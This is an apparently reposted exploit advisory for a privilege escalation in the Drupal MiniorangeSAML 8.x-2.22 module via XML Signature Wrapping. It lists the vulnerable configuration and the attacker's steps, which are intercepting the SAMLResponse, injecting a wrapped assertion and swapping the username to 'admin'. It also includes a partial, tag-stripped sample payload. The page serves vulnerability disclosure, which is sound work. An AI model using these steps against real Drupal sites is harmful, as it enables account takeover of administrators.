Exploit/Advisories no image

Published on October 2nd, 2021 📆 | 1893 Views ⚑

0

Drupal MiniorangeSAML 8.x-2.22 Privilege Escalation – Torchsec


iSpeech

# Exploit Title: Drupal Module MiniorangeSAML 8.x-2.22 - Privilege escalation via XML Signature Wrapping
# Date: 09/07/2021
# Exploit Author: Cristian 'void' Giustini
# Vendor Homepage: https://www.miniorange.com/
# Software Link: https://www.drupal.org/project/miniorange_saml
# Version: 8.x-2.22 (REQUIRED)
# Tested on: Linux Debian (PHP 8.0.7 with Apache/2.4.38)
# Original article: https://blog.hacktivesecurity.com/index.php/2021/07/09/sa-contrib-2021-036-notsosaml-privilege-escalation-via-xml-signature-wrapping-on-minorangesaml-drupal-plugin/
# Drupal Security Advisory URL: https://www.drupal.org/sa-contrib-2021-036

---

The MiniorangeSAML Drupal Plugin v. 8.x-2.22 is vulnerable to XML
Signature Wrapping Attacks that could allows an attacker to perform
privilege escalation attacks.

In order to exploit the vulnerability, the plugin must be configured
with the "Either SAML reponse or SAML assertion must be signed" options
enabled and an empty "x509 certificate".

Administrator point of view:

- Install a Drupal version (for the PoC the version 9.1.10 has been used)

- Configure an external SSO system like Auth0

- Configure the plugin with the Auth0 provider by checking the "Either
SAML response or SAML assertion must be signed" and empty "x509 certificate"

Attacker point of view:

- Register a normal user on the website

- Perform a login





- Intercept the request with Burp Suite and decode the SAMLResponse
parameter

- Inject an additional object before the original one
(example here:
https://gist.github.com/voidz0r/30c0fb7be79abf8c79d1be9d424c9e3b#file-injected_object-xml)
(SAMLRaider Burp extension, XSW3 payload)

xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
urn:miniorange-research.eu.auth0.com

admin






http://localhost:8080



urn:oasis:names:tc:SAML:2.0:ac:classes:unspecified


xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">

admin


test@example.com


test@example.com


test@example.com


Username-Password-Authentication


auth0


false


8bbK44pPnBAqzN49pSuwmgdhgsZavkNI


Wed Jun 23 2021 21:01:51 GMT+0000 (Coordinated Universal Time)


false


test


https://s.gravatar.com/avatar/55502f40dc8b7c769880b10874abc9d0?s=480&r=pg&d=https%3A%2F%2Fcdn.auth0.com%2Favatars%2Fte.png

Wed Jun 23 2021 21:01:51 GMT+0000 (Coordinated Universal Time)

- Replace the username with one with higher privileges (like admin)

- Submit the request

- Successful exploitation

Source link

Tagged with:



Comments are closed.